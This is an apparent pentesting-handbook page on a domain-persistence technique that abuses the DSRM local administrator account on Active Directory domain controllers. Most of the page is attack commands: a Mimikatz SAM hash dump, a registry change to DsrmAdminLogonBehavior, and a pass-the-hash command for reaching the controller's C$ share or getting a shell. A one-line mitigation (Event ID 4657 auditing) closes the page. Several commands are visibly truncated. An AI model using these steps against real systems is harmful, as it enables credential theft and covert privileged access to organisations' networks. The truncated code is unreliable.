DSRM Credentials

DSRM Credentials

There is a **local administrator** account inside each **DC**. Having admin privileges in this machine you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.
First we need to **dump** the **hash** of the **local Administrator** user inside the DC:

```
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
```

Then we need to check if that account will work, and if the registry key has the value "0" or it doesn't exist you need to **set it to "2"**:

```
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -
```

Then, using a PTH you can **list the content of C$ or even obtain a shell**. Notice that for creating a new powershell session with that hash in memory (for the PTH) **the "domain" used is just the name of the DC machine:**

```
sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad897
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$
```

More info about this in: https://adsecurity.org/?p=1714 and https://adsecurity.org/?p=1785

Mitigation

- Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`

Previous
Diamond Ticket

Next
External Forest Domain - OneWay (Inbound) or bidirectional

Last updated 3 months ago